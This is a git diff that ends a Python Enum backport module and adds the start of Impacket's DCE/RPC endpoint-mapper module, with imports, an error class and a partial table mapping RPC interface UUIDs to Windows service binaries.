+def __eq__(self, other):
+    if type(other) is self.__class__:
+        return self is other
+    return NotImplemented
+temp_enum_dict['__eq__'] = __eq__
+del __eq__
+
+def __ne__(self, other):
+    if type(other) is self.__class__:
+        return self is not other
+    return NotImplemented
+temp_enum_dict['__ne__'] = __ne__
+del __ne__
+
+def __getnewargs__(self):
+    return (self._value_, )
+temp_enum_dict['__getnewargs__'] = __getnewargs__
+del __getnewargs__
+
+def __hash__(self):
+    return hash(self._name_)
+temp_enum_dict['__hash__'] = __hash__
+del __hash__
+
+# _RouteClassAttributeToGetattr is used to provide access to the `name`
+# and `value` properties of enum members while keeping some measure of
+# protection from modification, while still allowing for an enumeration
+# to have members named `name` and `value`.  This works because enumeration
+# members are not set directly on the enum class -- __getattr__ is
+# used to look them up.
+
+@_RouteClassAttributeToGetattr
+def name(self):
+    return self._name_
+temp_enum_dict['name'] = name
+del name
+
+@_RouteClassAttributeToGetattr
+def value(self):
+    return self._value_
+temp_enum_dict['value'] = value
+del value
+
+Enum = EnumMeta('Enum', (object, ), temp_enum_dict)
+del temp_enum_dict
+
+# Enum has now been created
+###########################
+
+class IntEnum(int, Enum):
+    """Enum where members are also (and must be) ints"""
+
+
+def unique(enumeration):
+    """Class decorator that ensures only unique members exist in an enumeration."""
+    duplicates = []
+    for name, member in enumeration.__members__.items():
+        if name != member.name:
+            duplicates.append((name, member.name))
+    if duplicates:
+        duplicate_names = ', '.join(
+                ["%s -> %s" % (alias, name) for (alias, name) in duplicates]
+                )
+        raise ValueError('duplicate names found in %r: %s' %
+                (enumeration, duplicate_names)
+                )
+    return enumeration
diff --git a/impacket/dcerpc/v5/epm.py b/impacket/dcerpc/v5/epm.py
new file mode 100644
index 0000000..9aecb3e
--- /dev/null
+++ b/impacket/dcerpc/v5/epm.py
@@ -0,0 +1,1386 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   [MS-RPCE]-C706 Interface implementation for the remote portmapper
+#
+#   Best way to learn how to use these calls is to grab the protocol standard
+#   so you understand what the call does, and then read the test case located
+#   at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC
+#
+#   Some calls have helper functions, which makes it even easier to use.
+#   They are located at the end of this file.
+#   Helper functions start with "h"<name of the call>.
+#   There are test cases for them too.
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+import socket
+from struct import unpack
+from six import b
+
+from impacket.uuid import uuidtup_to_bin, bin_to_string
+from impacket.dcerpc.v5 import transport
+from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantVaryingArray, NDRUniVaryingArray, \
+    NDRUniConformantArray
+from impacket.dcerpc.v5.dtypes import UUID, LPBYTE, PUUID, ULONG, USHORT
+from impacket.structure import Structure
+from impacket.dcerpc.v5.ndr import NULL
+from impacket.dcerpc.v5.rpcrt import DCERPCException
+from impacket import LOG
+
+MSRPC_UUID_PORTMAP = uuidtup_to_bin(('E1AF8308-5D1F-11C9-91A4-08002B14A0FA', '3.0'))
+
+class DCERPCSessionError(DCERPCException):
+    error_messages = {}
+    def __init__(self, error_string=None, error_code=None, packet=None):
+        DCERPCException.__init__(self, error_string, error_code, packet)
+        self.error_code = packet['status']
+
+    def __str__( self ):
+        key = self.error_code
+        if key in self.error_messages:
+            error_msg_short = self.error_messages[key]
+            return 'EPM SessionError: code: 0x%x - %s ' % (self.error_code, error_msg_short)
+        else:
+            return 'EPM SessionError: unknown error code: %s' % (str(self.error_code))
+
+################################################################################
+# CONSTANTS
+################################################################################
+
+KNOWN_UUIDS = {
+b"\xb0\x01\x52\x97\xca\x59\xd0\x11\xa8\xd5\x00\xa0\xc9\x0d\x80\x51\x01\x00": "rpcss.dll",
+b"\xf1\x8f\x37\xc9\xf7\x16\xd0\x11\xa0\xb2\x00\xaa\x00\x61\x42\x6a\x01\x00": "pstorsvc.dll",
+b"\xd4\xa7\x72\x0d\x48\x61\xd1\x11\xb4\xaa\x00\xc0\x4f\xb6\x6e\xa0\x01\x00": "cryptsvc.dll",
+b"\x40\x4e\x9f\x8d\x3d\xa0\xce\x11\x8f\x69\x08\x00\x3e\x30\x05\x1b\x01\x00": "services.exe",
+b"\xc5\x86\x5a\xda\xc2\x12\x43\x49\xab\x30\x7f\x74\xa8\x13\xd8\x53\x01\x00": "regsvc.dll",
+b"\x29\x07\x8a\xfb\x04\x2d\x58\x46\xbe\x93\x27\xb4\xad\x55\x3f\xac\x01\x00": "lsass.exe",
+b"\x04\xf7\xd9\x52\xc6\xd3\x48\x47\xad\x11\x25\x50\x20\x9e\x80\xaf\x00\x00": "IMEPADSM.DLL",
+b"\xce\xad\x21\xc4\xb2\xa0\x0d\x48\x84\x18\x98\x44\x95\xb3\x2d\x5f\x01\x00": "SLsvc.exe",
+b"\x14\xb5\xfb\xd3\x3b\x0e\xcb\x11\x8f\xad\x08\x00\x2b\x1d\x29\xc3\x01\x00": "locator.exe",
+b"\x6f\x40\x1c\xf6\x60\xbd\x94\x41\x95\x65\xbf\xed\xd5\x25\x6f\x70\x01\x00": "p2phost.exe",
+b"\x72\x33\x3d\xc1\x20\xcc\x49\x44\x9b\x23\x8c\xc8\x27\x1b\x38\x85\x01\x00": "rpcrt4.dll",
+b"\x70\xfe\x5a\xd9\xd5\xa6\x59\x42\x82\x2e\x2c\x84\xda\x1d\xdb\x0d\x01\x00": "wininit.exe",
+b"\x6a\x07\x2d\x55\x29\xcb\x44\x4e\x8b\x6a\xd1\x5e\x59\xe2\xc0\xaf\x01\x00": "iphlpsvc.dll",
+b"\x95\x4f\x25\xd4\xc3\x08\xcc\x4f\xb2\xa6\x0b\x65\x13\x77\xa2\x9d\x01\x00": "wwansvc.dll",
+b"\x43\x9a\x89\x11\x68\x2b\x76\x4a\x92\xe3\xa3\xd6\xad\x8c\x26\xce\x01\x00": "lsm.exe",
+b"\xb4\x33\x6f\x26\xc1\xc7\xd1\x4b\x8f\x52\xdd\xb8\xf2\x21\x4e\xa9\x01\x00": "wlansvc.dll",
+b"\x68\x9d\xcb\x2a\x34\xb4\x3e\x4b\xb9\x66\xe0\x6b\x4b\x3a\x84\xcb\x01\x00": "bthserv.dll",
+b"\xd0\x4c\x67\x57\x00\x52\xce\x11\xa8\x97\x08\x00\x2b\x2e\x9c\x6d\x01\x00": "llssrv.exe",
+b"\x52\x44\x7d\x64\x33\x9f\x18\x4a\xb2\xbe\xc5\xc0\xe9\x20\xe9\x4e\x01\x00": "pla.dll",
+b"\xc8\x9b\x3b\xde\xf7\xbe\x78\x45\xa0\xde\xf0\x89\x04\x84\x42\xdb\x01\x00": "audiodg.exe",
+b"\xd1\x51\xa9\xbf\x0e\x2f\xd3\x11\xbf\xd1\x00\xc0\x4f\xa3\x49\x0a\x01\x00": "aqueue.dll",
+b"\x84\x55\x66\x1e\xfe\x40\x50\x44\x8f\x6e\x80\x23\x62\x39\x96\x94\x01\x00": "lsm.exe",
+b"\x41\x76\x17\xaa\x9b\xfc\xbd\x41\x80\xff\xf9\x64\xa7\x01\x59\x6f\x01\x00": "tssdis.exe",
+b"\xe0\x0c\x6b\x90\x0b\xc7\x67\x10\xb3\x17\x00\xdd\x01\x06\x62\xda\x01\x00": "msdtcprx.dll",
+b"\x51\xb9\x6b\xfd\x30\xc8\x34\x47\xbf\x2c\x18\xba\x6e\xc7\xab\x49\x01\x00": "iscsiexe.dll",
+b"\x68\xff\x1d\x62\x39\x3c\x6c\x4c\xaa\xe3\xe6\x8e\x2c\x65\x03\xad\x01\x00": "wzcsvc.dll",
+b"\x56\xcc\x35\x94\x9c\x1d\x24\x49\xac\x7d\xb6\x0a\x2c\x35\x20\xe1\x01\x00": "sppsvc.exe",
+b"\xf0\xe4\x9c\x36\xdc\x0f\xd3\x11\xbd\xe8\x00\xc0\x4f\x8e\xee\x78\x01\x00": "profmap.dll",
+b"\x6a\x28\x19\x39\x0c\xb1\xd0\x11\x9b\xa8\x00\xc0\x4f\xd9\x2e\xf5\x00\x00": "lsasrv.dll",
+b"\x80\x2b\xd1\x76\x67\x34\xd3\x11\x91\xff\x00\x90\x27\x2f\x9e\xa3\x01\x00": "mqqm.dll",
+b"\x72\xfe\x0f\x8d\x52\xd2\xd0\x11\xbf\x8f\x00\xc0\x4f\xd9\x12\x6b\x01\x00": "cryptsvc.dll",
+b"\x86\xd4\xdc\x68\x9e\x66\xd1\x11\xab\x0c\x00\xc0\x4f\xc2\xdc\xd2\x01\x00": "ismserv.exe",
+b"\x83\xaf\xe1\x1f\x5d\xc9\x11\x91\xa4\x08\x00\x2b\x14\xa0\xfa\x03\x00\x00": "rpcss.dll",
+b"\x06\x91\x01\x24\x03\xa2\x42\x46\xb8\x8d\x82\xda\xe9\x15\x89\x29\x01\x00": "authui.dll",
+b"\x60\xa7\xa4\x5c\xb1\xeb\xcf\x11\x86\x11\x00\xa0\x24\x54\x20\xed\x01\x00": "termsrv.dll",
+b"\x4d\xdd\x73\x34\x88\x2e\x06\x40\x9c\xba\x22\x57\x09\x09\xdd\x10\x05\x01": "winhttp.dll",
+b"\xb2\xb8\x7d\xb9\x63\x4c\xcf\x11\xbf\xf6\x08\x00\x2b\xe2\x3f\x2f\x02\x00": "clussvc.exe",
+b"\x95\x1f\x51\x33\x84\x5b\xcc\x4d\xb6\xcc\x3f\x4b\x21\xda\x53\xe1\x01\x00": "ubpm.dll",
+b"\x78\xb2\xeb\x05\x14\xe1\xc1\x4e\xa5\xa3\x09\x61\x53\xf3\x00\xe4\x01\x01": "tsgqec.dll",
+b"\x24\xe4\xfb\x63\x29\x20\xd1\x11\x8d\xb8\x00\xaa\x00\x4a\xbd\x5e\x01\x00": "Sens.dll",
+b"\x36\xa0\x67\x07\x22\x0d\xaa\x48\xba\x69\xb6\x19\x48\x0f\x38\xcb\x01\x00": "pcasvc.dll",
+b"\x20\x32\x5f\x2f\x26\xc1\x76\x10\xb5\x49\x07\x4d\x07\x86\x19\xda\x01\x00": "netdde.exe",
+b"\x30\xa0\xb3\xfd\x5f\x06\xd1\x11\xbb\x9b\x00\xa0\x24\xea\x55\x25\x01\x00": "mqqm.dll",
+b"\x80\x7a\xdf\x77\x98\xf2\xd0\x11\x83\x58\x00\xa0\x24\xc4\x80\xa8\x01\x00": "mqdssrv.dll",
+b"\x03\x6d\x71\x98\xac\x89\xc7\x44\xbb\x8c\x28\x58\x24\xe5\x1c\x4a\x01\x00": "srvsvc.dll",
+b"\xc8\xad\x32\x4f\x52\x60\x04\x4a\x87\x01\x29\x3c\xcf\x20\x96\xf0\x01\x00": "sspisrv.dll",
+b"\x90\x38\xa9\x65\xb9\xfa\xa3\x43\xb2\xa5\x1e\x33\x0a\xc2\x8f\x11\x02\x00": "dnsrslvr.dll",
+b"\x32\xf5\x03\xc5\x3a\x44\x69\x4c\x83\x00\xcc\xd1\xfb\xdb\x38\x39\x01\x00": "MpSvc.dll",
+b"\x46\x9f\x3b\xc3\x88\x20\xbc\x4d\x97\xe3\x61\x25\xf1\x27\x66\x1c\x01\x00": "nlasvc.dll",
+b"\xa0\xb3\x02\xa0\xb7\xc9\xd1\x11\xae\x88\x00\x80\xc7\x5e\x4e\xc1\x01\x00": "wlnotify.dll",
+b"\xd0\xd1\x33\x88\x5f\x96\x16\x42\xb3\xe9\xfb\xe5\x8c\xad\x31\x00\x01\x00": "SCardSvr.dll",
+b"\x98\xd0\xff\x6b\x12\xa1\x10\x36\x98\x33\x46\xc3\xf8\x7e\x34\x5a\x01\x00": "wkssvc.dll",
+b"\x38\x8d\x04\x7e\x08\xac\xf1\x4f\x8e\x6b\xf3\x5d\xba\xb8\x8d\x4a\x01\x00": "mqqm.dll",
+b"\x35\x42\x51\xe3\x06\x4b\xd1\x11\xab\x04\x00\xc0\x4f\xc2\xdc\xd2\x04\x00": "ntdsai.dll",
+b"\xc8\x4f\x32\x4b\x70\x16\xd3\x01\x12\x78\x5a\x47\xbf\x6e\xe1\x88\x00\x00": "sfmsvc.exe",
+b"\xc5\x28\x47\x3c\xab\xf0\x8b\x44\xbd\xa1\x6c\xe0\x1e\xb0\xa6\xd6\x01\x00": "dhcpcsvc6.dll",
+b"\x36\x01\x00\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x46\x00\x00": "rpcss.dll",
+b"\x54\x79\x26\x3d\xb7\xee\xd1\x11\xb9\x4e\x00\xc0\x4f\xa3\x08\x0d\x01\x00": "lserver.dll",
+b"\xbf\x09\x11\x81\xe1\xa4\xd1\x11\xab\x54\x00\xa0\xc9\x1e\x9b\x45\x01\x00": "WINS.EXE",
+b"\xd0\xbb\xf5\x7a\x63\x60\xd1\x11\xae\x2a\x00\x80\xc7\x5e\x4e\xc1\x00\x00": "irmon.dll",
+b"\x99\x1e\xb8\x12\x07\xf2\x4c\x4a\x85\xd3\x77\xb4\x2f\x76\xfd\x14\x01\x00": "seclogon.dll",
+b"\x6c\x5e\x64\x00\x9f\xfc\x0c\x4a\x98\x96\xf0\x0b\x66\x29\x77\x98\x01\x00": "icardagt.exe",
+b"\x9f\x2f\x5b\xb1\x3c\x90\x71\x46\x8d\xc0\x77\x2c\x54\x21\x40\x68\x01\x00": "pwmig.dll",
+b"\xa6\x95\x7d\x49\x27\x2d\xf5\x4b\x9b\xbd\xa6\x04\x69\x57\x13\x3c\x01\x00": "termsrv.dll",
+b"\xcb\x92\xbe\x5c\xbe\xf4\xc9\x45\x9f\xc9\x33\xe7\x3e\x55\x7b\x20\x01\x00": "lsasrv.dll",
+b"\xa1\x0f\x51\x69\x99\x2f\xeb\x4e\xa4\xff\xaf\x25\x9f\x0f\x97\x49\x01\x00": "wecsvc.dll",
+b"\x70\x5d\xfb\x8c\xa4\x31\xcf\x11\xa7\xd8\x00\x80\x5f\x48\xa1\x35\x03\x00": "smtpsvc.dll",
+b"\x46\x0d\x85\x77\x1d\x85\xb6\x43\x93\x98\x29\x01\x61\xf0\xca\xe6\x01\x00": "SeVA.dll",
+b"\xc3\x26\xf2\x76\x14\xec\x25\x43\x8a\x99\x6a\x46\x34\x84\x18\xaf\x01\x00": "winlogon.exe",
+b"\x84\x65\x0a\x0b\x0f\x9e\xcf\x11\xa3\xcf\x00\x80\x5f\x68\xcb\x1b\x01\x00": "rpcss.dll",
+b"\x15\x55\xf2\x11\x79\xc8\x0a\x40\x98\x9e\xb0\x74\xd5\xf0\x92\xfe\x01\x00": "lsm.exe",
+b"\xc0\xe0\x4d\x89\x55\x0d\xd3\x11\xa3\x22\x00\xc0\x4f\xa3\x21\xa1\x01\x00": "wininit.exe",
+b"\x00\xac\x0a\xf5\xf3\xc7\x8e\x42\xa0\x22\xa6\xb7\x1b\xfb\x9d\x43\x01\x00": "cryptsvc.dll",
+b"\xa5\x44\xb0\x30\x25\xa2\xf0\x43\xb3\xa4\xe0\x60\xdf\x91\xf9\xc1\x01\x00": "certprop.dll",
+b"\x78\x57\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\x89\xab\x00\x00": "lsasrv.dll",
+b"\x49\x69\xe9\x98\x59\xbc\xf1\x47\x92\xd1\x8c\x25\xb4\x6f\x85\xc7\x01\x00": "wlanext.exe",
+b"\xb8\x61\xe5\xff\x15\xbf\xcf\x11\x8c\x5e\x08\x00\x2b\xb4\x96\x49\x02\x00": "clussvc.exe",
+b"\xb4\x59\xcc\xf5\x64\x42\x1a\x10\x8c\x59\x08\x00\x2b\x2f\x84\x26\x01\x00": "ntfrs.exe",
+b"\xb4\x59\xcc\xf5\x64\x42\x1a\x10\x8c\x59\x08\x00\x2b\x2f\x84\x26\x01\x01": "ntfrs.exe",
+b"\xa4\xc2\xab\x50\x4d\x57\xb3\x40\x9d\x66\xee\x4f\xd5\xfb\xa0\x76\x05\x00": "dns.exe",
+b"\xb9\x99\x3f\x87\x4d\x1b\x10\x99\xb7\xaa\x00\x04\x00\x7f\x07\x01\x00\x00": "ssmsrp70.dll",
+b"\x01\xc3\x53\xb2\xa2\x78\x70\x42\xa9\x1f\x66\x0d\xee\x06\x9f\x4c\x01\x00": "rdpcore.dll",
+b"\x94\x68\x71\x22\x8e\xfd\x62\x44\x97\x83\x09\xe6\xd9\x53\x1f\x16\x01\x00": "ubpm.dll",
+b"\xf6\xb8\x35\xd3\x31\xcb\xd0\x11\xb0\xf9\x00\x60\x97\xba\x4e\x54\x01\x00": "polagent.dll",
+b"\x64\x1d\x82\x0c\xfc\xa3\xd1\x11\xbb\x7a\x00\x80\xc7\x5e\x4e\xc1\x01\x00": "irftp.exe",
+b"\xb8\x4a\x9f\x4d\x1c\x7d\xcf\x11\x86\x1e\x00\x20\xaf\x6e\x7c\x57\x00\x00": "rpcss.dll",
+b"\xa8\x95\xee\x81\x2e\x88\x15\x46\x88\x8a\x53\x34\x4c\xa1\x49\xe4\x01\x00": "vpnikeapi.dll",
+b"\xfb\xee\x0c\x13\x66\xe4\xd1\x11\xb7\x8b\x00\xc0\x4f\xa3\x28\x83\x02\x00": "ismip.dll",
+b"\x72\xee\xf3\xc6\x7e\xce\xd1\x11\xb7\x1e\x00\xc0\x4f\xc3\x11\x1a\x01\x00": "rpcss.dll",
+b"\x9a\xf9\x1e\x20\xa0\x7f\x4c\x44\x93\x99\x19\xba\x84\xf1\x2a\x1a\x01\x00": "appinfo.dll",
+b"\xc8\x4f\x32\x4b\x70\x16\xd3\x01\x12\x78\x5a\x47\xbf\x6e\xe1\x88\x03\x00": "srvsvc.dll",
+b"\x72\xe4\x9f\x6d\xf1\x30\x08\x47\x8f\xa8\x67\x83\x62\xb9\x61\x55\x01\x00": "wimserv.exe",
+b"\xd4\xd7\x44\x7c\xd5\x31\x4c\x42\xbd\x5e\x2b\x3e\x1f\x32\x3d\x22\x01\x00": "ntdsai.dll",
+b"\x55\x1a\x20\x6f\x4d\xa2\x5f\x49\xaa\xc9\x2f\x4f\xce\x34\xdf\x99\x01\x00": "IPHLPAPI.DLL",
+b"\x32\x35\x0f\x30\xcc\x38\xd0\x11\xa3\xf0\x00\x20\xaf\x6b\x0a\xdd\x01\x02": "trkwks.dll",
+b"\x32\x35\x0f\x30\xcc\x38\xd0\x11\xa3\xf0\x00\x20\xaf\x6b\x0a\xdd\x01\x00": "trkwks.dll",
+b"\x60\xf4\x82\x4f\x21\x0e\xcf\x11\x90\x9e\x00\x80\x5f\x48\xa1\x35\x04\x00": "nntpsvc.dll",
+b"\x7d\xce\x54\x5f\x79\x5b\x75\x41\x85\x84\xcb\x65\x31\x3a\x0e\x98\x01\x00": "appinfo.dll",
+b"\xdc\x3f\x27\x82\x2a\xe3\xc3\x18\x3f\x78\x82\x79\x29\xdc\x23\xea\x00\x00": "wevtsvc.dll",
+b"\x3a\xcf\xe0\x16\x04\xa6\xd0\x11\x96\xb1\x00\xa0\xc9\x1e\xce\x30\x01\x00": "ntdsbsrv.dll",
+b"\x98\xd0\xff\x6b\x12\xa1\x10\x36\x98\x33\x01\x28\x92\x02\x01\x62\x00\x00": "browser.dll",
+b"\xd6\x09\x48\x48\x39\x42\x1b\x47\xb5\xbc\x61\xdf\x8c\x23\xac\x48\x01\x00": "lsm.exe",
+b"\xe8\x04\xe6\x58\xdb\x9a\x2e\x4d\xa4\x64\x3b\x06\x83\xfb\x14\x80\x01\x00": "appinfo.dll",
+b"\x57\x72\xd4\xa2\xf7\x12\xeb\x4b\x89\x81\x0e\xbf\xa9\x35\xc4\x07\x01\x00": "p2psvc.dll",
+b"\x1e\xdd\x5b\x6b\x8c\x52\x2c\x42\xaf\x8c\xa4\x07\x9b\xe4\xfe\x48\x01\x00": "FwRemoteSvr.dll",
+b"\x75\x21\xc8\x51\x4e\x84\x50\x47\xb0\xd8\xec\x25\x55\x55\xbc\x06\x01\x00": "SLsvc.exe",
+b"\x78\x57\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\x89\xac\x01\x00": "samsrv.dll",
+b"\xc0\x47\xdf\xb3\x5a\xa9\xcf\x11\xaa\x26\x00\xaa\x00\xc1\x48\xb9\x09\x00": "mspadmin.exe - Microsoft ISA Server",
+b"\x00\xac\x0a\xf5\xf3\xc7\x8e\x42\xa0\x22\xa6\xb7\x1b\xfb\x9d\x43\x01\x01": "cryptsvc.dll",
+b"\x65\x31\x0a\xea\x34\x48\xd2\x11\xa6\xf8\x00\xc0\x4f\xa3\x46\xcc\x04\x00": "FXSSVC.exe",
+b"\x33\xa2\x74\xd6\x29\x58\xdd\x49\x90\xf0\x60\xcf\x9c\xeb\x71\x29\x01\x00": "ipnathlp.dll",
+b"\xf7\xaf\xbe\xf6\x19\x1e\xbb\x4f\x9f\x8f\xb8\x9e\x20\x18\x33\x7c\x01\x00": "wevtsvc.dll",
+b"\x70\x0d\xec\xec\x03\xa6\xd0\x11\x96\xb1\x00\xa0\xc9\x1e\xce\x30\x02\x00": "ntdsbsrv.dll",
+b"\x7c\xda\x83\x4f\xe8\xd2\x11\x98\x07\x00\xc0\x4f\x8e\xc8\x50\x02\x00\x00": "sfc.dll",
+b"\x80\x92\xea\x46\xbf\x5b\x5e\x44\x83\x1d\x41\xd0\xf6\x0f\x50\x3a\x01\x00": "ifssvc.exe",
+b"\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03\x02\x00": "services.exe",
+b"\x66\x9f\x9b\x62\x6c\x55\xd1\x11\x8d\xd2\x00\xaa\x00\x4a\xbd\x5e\x03\x00": "sens.dll",
+b"\x1c\x02\x0c\xa0\xe2\x2b\xd2\x11\xb6\x78\x00\x00\xf8\x7a\x8f\x8e\x01\x00": "ntfrs.exe",
+b"\x3e\xca\x86\xc3\x61\x90\x72\x4a\x82\x1e\x49\x8d\x83\xbe\x18\x8f\x01\x01": "audiosrv.dll",
+b"\x6d\xa5\x6e\xe7\x3f\x45\xcf\x11\xbf\xec\x08\x00\x2b\xe2\x3f\x2f\x02\x01": "resrcmon.exe",
+b"\xe1\xbf\x72\x4a\x94\x92\xda\x11\xa7\x2b\x08\x00\x20\x0c\x9a\x66\x01\x00": "rdpinit.exe",
+b"\x7c\x5f\xc4\xa2\x32\x7d\xad\x46\x96\xf5\xad\xaf\xb4\x86\xbe\x74\x01\x00": "services.exe",
+b"\x01\x6b\x77\x45\x56\x59\x85\x44\x9f\x80\xf4\x28\xf7\xd6\x01\x29\x02\x00": "dnsrslvr.dll",
+b"\x96\x7b\x9b\x6c\xa8\x45\xca\x4c\x9e\xb3\xe2\x1c\xcf\x8b\x5a\x89\x01\x00": "umpo.dll",
+b"\x15\x04\x42\x9d\xfb\xb8\x4a\x4f\x8c\x53\x45\x02\xea\xd3\x0c\xa9\x01\x00": "PlaySndSrv.dll",
+b"\x50\x38\xcd\x15\xca\x28\xce\x11\xa4\xe8\x00\xaa\x00\x61\x16\xcb\x01\x00": "PeerDistSvc.dll",
+b"\x20\xe5\x98\xa3\x9a\xd5\xdd\x4b\xaa\x7a\x3c\x1e\x03\x03\xa5\x11\x01\x00": "IKEEXT.DLL",
+b"\x08\x83\xaf\xe1\x1f\x5d\xc9\x11\x91\xa4\x08\x00\x2b\x14\xa0\xfa\x03\x00": "rpcss.dll",
+b"\x00\x7c\xda\x83\x4f\xe8\xd2\x11\x98\x07\x00\xc0\x4f\x8e\xc8\x50\x02\x00": "sfc_os.dll",
+b"\xf2\xdc\x51\x4a\x3a\x5c\xd2\x4d\x84\xdb\xc3\x80\x2e\xe7\xf9\xb7\x01\x00": "ntdsai.dll",
+b"\x82\x06\xf7\x1f\x51\x0a\xe8\x30\x07\x6d\x74\x0b\xe8\xce\xe9\x8b\x01\x00": "taskcomp.dll",
+b"\x00\xb9\x99\x3f\x87\x4d\x1b\x10\x99\xb7\xaa\x00\x04\x00\x7f\x07\x01\x00": "ssmsrpc.dll - Microsoft SQL Server",
+b"\x20\x17\x82\x5b\x3b\xf6\xd0\x11\xaa\xd2\x00\xc0\x4f\xc3\x24\xdb\x01\x00": "dhcpssvc.dll",
+b"\x22\xc4\xa1\x4d\x3d\x94\xd1\x11\xac\xae\x00\xc0\x4f\xc2\xaa\x3f\x01\x00": "trksvr.dll",
+b"\x74\xe9\xa5\x1a\x82\x62\x8d\x4e\x9c\x96\x40\x18\x6e\x89\xd2\x80\x01\x00": "scss.exe",
+b"\x94\x73\x92\x1a\x2e\x35\x53\x45\xae\x3f\x7c\xf4\xaa\xfc\xa6\x20\x01\x00": "wdssrv.dll",
+b"\x66\xf6\x8c\x04\x42\xab\xb4\x42\x89\x75\x13\x57\x01\x8d\xec\xb3\x01\x00": "ws2_32.dll",
+b"\x3a\xcf\xe0\x16\x04\xa6\xd0\x11\x96\xb1\x00\xa0\xc9\x1e\xce\x30\x02\x00": "ntdsbsrv.dll",
+b"\x02\x00\x00\x00\x01\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x69\x01\x00": "kdcsvc.dll",
+b"\xb0\x52\x8e\x37\xa9\xc0\xcf\x11\x82\x2d\x00\xaa\x00\x51\xe4\x0f\x01\x00": "taskcomp.dll",
+b"\xe0\x6d\x7a\x8c\x8d\x78\xd0\x11\x9e\xdf\x44\x45\x53\x54\x00\x00\x02\x00": "wiaservc.dll",
+b"\x05\x81\xa7\x3c\xa3\xa3\x68\x4a\xb4\x58\x1a\x60\x6b\xab\x8f\xd6\x01\x00": "mpnotify.exe",
+b"\x2e\xa0\x8a\xb5\x84\x28\x97\x4e\x81\x76\x4e\xe0\x6d\x79\x41\x84\x01\x00": "sysmain.dll",
+b"\x95\x4f\x25\xd4\xc3\x08\xcc\x4f\xb2\xa6\x0b\x65\x13\x77\xa2\x9c\x01\x00": "wwansvc.dll",
+b"\x6e\x2c\xf4\xc3\xcc\xd4\x5a\x4e\x93\x8b\x9c\x5e\x8a\x5d\x8c\x2e\x01\x00": "wlanmsm.dll",
+b"\x53\x0c\x19\xf3\x0c\x4e\x1a\x49\xaa\xd3\x2a\x7c\xeb\x7e\x25\xd4\x01\x00": "vpnikeapi.dll",
+b"\x26\xc0\xe1\xac\x3f\x8b\x11\x47\x89\x18\xf3\x45\xd1\x7f\x5b\xff\x01\x00": "lsasrv.dll",
+b"\xc0\xc4\x55\xae\xce\x64\xdd\x11\xad\x8b\x08\x00\x20\x0c\x9a\x66\x01\x00": "bdesvc.dll",
+b"\xc4\x0c\x3c\xe3\x82\x04\x1a\x10\xbc\x0c\x02\x60\x8c\x6b\xa2\x18\x01\x00": "locator.exe",
+b"\x0e\x3b\x6c\x50\xd1\x4b\x56\x4c\x88\xc0\x49\xa2\x0e\xd4\xb5\x39\x01\x00": "milcore.dll",
+b"\x3e\x8e\xb0\x2e\x9f\x63\xba\x4f\x97\xb1\x14\xf8\x78\x96\x10\x76\x01\x00": "gpsvc.dll",
+b"\x66\x9f\x9b\x62\x6c\x55\xd1\x11\x8d\xd2\x00\xaa\x00\x4a\xbd\x5e\x02\x00": "sens.dll",
+b"\xb5\x6d\xac\xc9\xb7\x82\x55\x4e\xae\x8a\xe4\x64\xed\x7b\x42\x77\x01\x00": "sysntfy.dll",
+b"\x98\x46\xbc\xa0\xd7\xb8\x30\x43\xa2\x8f\x77\x09\xe1\x8b\x61\x08\x04\x00": "Sens.dll",
+b"\x1e\xc9\x31\x3f\x45\x25\x7b\x4b\x93\x11\x95\x29\xe8\xbf\xfe\xf6\x01\x00": "p2psvc.dll",
+b"\x3e\xca\x86\xc3\x61\x90\x72\x4a\x82\x1e\x49\x8d\x83\xbe\x18\x8f\x02\x00": "audiosrv.dll",
+b"\x3e\xca\x86\xc3\x61\x90\x72\x4a\x82\x1e\x49\x8d\x83\xbe\x18\x8f\x02\x02": "audiosrv.dll",
+b"\xf8\x91\x7b\x5a\x00\xff\xd0\x11\xa9\xb2\x00\xc0\x4f\xb6\xe6\xfc\x01\x00": "msgsvc.dll",
+b"\x98\xd0\xff\x6b\x12\xa1\x10\x36\x98\x33\x46\xc3\xf8\x74\x53\x2d\x01\x00": "dhcpssvc.dll",
+b"\xb8\xd0\x48\xe2\x15\xbf\xcf\x11\x8c\x5e\x08\x00\x2b\xb4\x96\x49\x02\x00": "clussvc.exe",
+b"\x78\xad\xbc\x1c\x0b\xdf\x34\x49\xb5\x58\x87\x83\x9e\xa5\x01\xc9\x00\x00": "lsasrv.dll",
+b"\x87\x76\xcb\xc8\xd3\xe6\xd2\x11\xa9\x58\x00\xc0\x4f\x68\x2e\x16\x01\x00": "WebClnt.dll",
+b"\x88\xd4\x81\xc6\x50\xd8\xd0\x11\x8c\x52\x00\xc0\x4f\xd9\x0f\x7e\x01\x00": "lsasrv.dll",
+b"\x80\x35\x5b\x5b\xe0\xb0\xd1\x11\xb9\x2d\x00\x60\x08\x1e\x87\xf0\x01\x00": "mqqm.dll",
+b"\xf0\x09\x8f\xed\xb7\xce\x11\xbb\xd2\x00\x00\x1a\x18\x1c\xad\x00\x00\x00": "mprdim.dll",
+b"\xd8\x5d\xe6\x12\x7f\x88\xef\x41\x91\xbf\x8d\x81\x6c\x42\xc2\xe7\x01\x00": "winlogon.exe",
+b"\xf8\x91\x7b\x5a\x00\xff\xd0\x11\xa9\xb2\x00\xc0\x4f\xb6\x36\xfc\x01\x00": "msgsvc.dll",
+b"\x01\xd0\x8c\x33\x44\x22\xf1\x31\xaa\xaa\x90\x00\x38\x00\x10\x03\x01\x00": "regsvc.dll",
+b"\x03\xd7\xfd\x17\x27\x18\x34\x4e\x79\xd4\x24\xa5\x5c\x53\xbb\x37\x01\x00": "msgsvc.dll",
